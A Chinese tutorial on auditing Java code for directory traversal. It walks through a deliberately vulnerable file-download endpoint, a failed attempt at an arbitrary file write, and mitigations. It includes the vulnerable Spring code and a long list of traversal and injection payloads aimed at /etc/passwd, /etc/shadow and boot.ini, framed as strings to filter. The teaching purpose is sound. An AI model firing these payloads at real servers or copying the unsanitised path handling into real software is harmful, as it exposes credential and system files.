java代码审计之目录遍历的解决
作者:乐队1
1 原理介绍
通过用户输入,后端接收到参数直接拼接到指定路径下读取用户指定的文件名,看似正常,但实际用户输入的参数不可控,黑客将非法的特殊字符作为文件名的一部分,操作到其他路径下,甚至是跳转到服务器敏感目录,读取敏感的配置文件,例如服务器的密码文件,程序的数据库,redie等核心配置文件,因此具有一定的风险性。
2 审计案例1
用户通过form表单输入文件名称,通过源码逐层未对该文件名进行非法字符的过滤与处理,导致任意
文件读取(目录遍历)漏洞的产生。
(1)正常的用户行为是输入要读取的合法文件
(2)黑客利用未过滤文件名或目录的漏洞读取了其他目录下的资源文件
通过遍历该目录或上级路径下的其他文件,例如
3 审计案例2
1、当输入文件名为../1.txt(上次目录需要存在),不存在一直../知道存在位置
2、提交之后发现成功下载到当前目录外的目录文件
3、源码分析
通过用户输入文件名之后,后端直接接收了文件名拼接到需要读取的路径下,进而读取了文件,未对来自前端用户输入的文件名称针对非法字符过滤
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="/file1/directroyTranersal02" method="get"> <input type="text" name="filename"/> <input type="submit" value="uploaddown"/> </form> </body> </html>
//目录遍历2 @GetMapping("/directroyTranersal02") public void directoryTraversal02(HttpServletRequest request, HttpServletResponse response) throws IOException { //获取项目部署绝对路径下的upload文件夹路径,下载upload目录下面的文件 // String root = request.getServletContext().getRealPath("/upload"); String root = "D:\\20230222files"; //获取文件名 String filename = request.getParameter("filename"); File file = new File(root + "/" + filename); //根据文件路径创建输入流 FileInputStream fis = new FileInputStream(file); //设置响应头,弹出下载框 response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes())); response.addHeader("Content-Length", "" + file.length()); byte[] b = new byte[fis.available()]; fis.read(b); response.getOutputStream().write(b); }
通过源码分析,获取到文件名中含有../,当执行下载逻辑的时,file类底层将会访问该路径读取资源
如同人工通过浏览器读取文件E:\java_project\FileUpload\src\main\webapp\upload..\1.txt
4 审计案例3-任意的文件写入
保存模板的后端程序用到dirs字段数据,猜测此字段输入数据可控来进行文件路径的重新定位且没有字符串进行过滤验证以及扩展名也没有任何限制
随后对该API请求的路径以及数据流进行追踪,发现依然是模板新增或编辑页面为用户输入的关键位置。
1、打开模板目录下的,对404.html进行提交
2、burpsuit抓包之后修改请求,将dirs的制前边添加..%2F..%2F..%2F,修改文件名后缀为.jsp,同时也可以在file_content添加payload
但是不知什么原因没有成功
5 修复方案
1、 净化数据:对用户传过来的文件名参数进行硬编码或统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
主要的恶意字符包括不局限于如
.. ..\ ../ %2e%2e%2f which translates to ../ %2e%2e/ which translates to ../ ..%2f which translates to ../ %2e%2e%5c which translates to ..\ %c1%1c %c0%9v %c0%af ..%5c../ ../../../../../../../../../../../../etc/hosts%00 ../../../../../../../../../../../../etc/hosts ../../boot.ini /../../../../../../../../%2A ../../../../../../../../../../../../etc/passwd%00 ../../../../../../../../../../../../etc/passwd ../../../../../../../../../../../../etc/shadow%00 ../../../../../../../../../../../../etc/shadow20 /../../../../../../../../../../etc/passwd^^ /../../../../../../../../../../etc/shadow^^ /../../../../../../../../../../etc/passwd /../../../../../../../../../../etc/shadow /./././././././././././etc/passwd /./././././././././././etc/shadow \..\..\..\..\..\..\..\..\..\..\etc\passwd \..\..\..\..\..\..\..\..\..\..\etc\shadow ..\..\..\..\..\..\..\..\..\..\etc\passwd ..\..\..\..\..\..\..\..\..\..\etc\shadow /..\../..\../..\../..\../..\../..\../etc/passwd /..\../..\../..\../..\../..\../..\../etc/shadow .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow \..\..\..\..\..\..\..\..\..\..\etc\passwd%00 \..\..\..\..\..\..\..\..\..\..\etc\shadow%00 ..\..\..\..\..\..\..\..\..\..\etc\passwd%00 ..\..\..\..\..\..\..\..\..\..\etc\shadow%00 %0a/bin/cat%20/etc/passwd %0a/bin/cat%20/etc/shadow %00/etc/passwd%00 %00/etc/shadow%00 %00../../../../../../etc/passwd %00../../../../../../etc/shadow /../../../../../../../../../../../etc/passwd%00.jpg /../../../../../../../../../../../etc/passwd%00.html /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c. .%25%5c..%25%5c..%25%5c..%00 /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c ..%25%5c..%25%5c..%25%5c..%00 %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c. .%25%5c..% 25%5c..%25%5c..%00 %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c. .%25%5c..% 25%5c..%25%5c..%255cboot.ini /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c ..%25%5c..%25%5c..%25%5c..winnt/desktop.ini \\'/bin/cat%20/etc/passwd\\' \\'/bin/cat%20/etc/shadow\\' ../../../../../../../../conf/server.xml /../../../../../../../../bin/id| C:/inetpub/wwwroot/global.asa C:\inetpub\wwwroot\global.asa C:/boot.ini C:\boot.ini ../../../../../../../../../../../../localstart.asp%00 ../../../../../../../../../../../../localstart.asp ../../../../../../../../../../../../boot.ini%00 ../../../../../../../../../../../../boot.ini /./././././././././././boot.ini /../../../../../../../../../../../boot.ini%00 /../../../../../../../../../../../boot.ini /..\../..\../..\../..\../..\../..\../boot.ini /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini \..\..\..\..\..\..\..\..\..\..\boot.ini ..\..\..\..\..\..\..\..\..\..\boot.ini%00 ..\..\..\..\..\..\..\..\..\..\boot.ini /../../../../../../../../../../../boot.ini%00.html /../../../../../../../../../../../boot.ini%00.jpg /.../.../.../.../.../ ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
2、 web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,时使其即使越权也在访问目录之内。www目录就是一个chroot应用. 由chroot创造出的那个根目录,叫做“chroot监狱”(所谓"监狱"就是指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中,保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全,详细具体chroot的用法,可参考:chroot用法详解
3、 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生,例如ibm的
websphere的任意文件下载漏洞,需更新其中间件的版本可修复。
4、 要下载的文件地址保存至数据库中。
5、 文件路径保存至数据库,让用户提交文件对应ID下载文件。
6、 用户下载文件之前需要进行权限判断。
7、 文件放在web无法直接访问的目录下。
8、 不允许提供目录遍历服务。
9、 公开文件可放置在web应用程序下载目录中通过链接进行下载。
到此这篇关于java代码审计之目录遍历的解决的文章就介绍到这了,更多相关java代码审计目录遍历内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!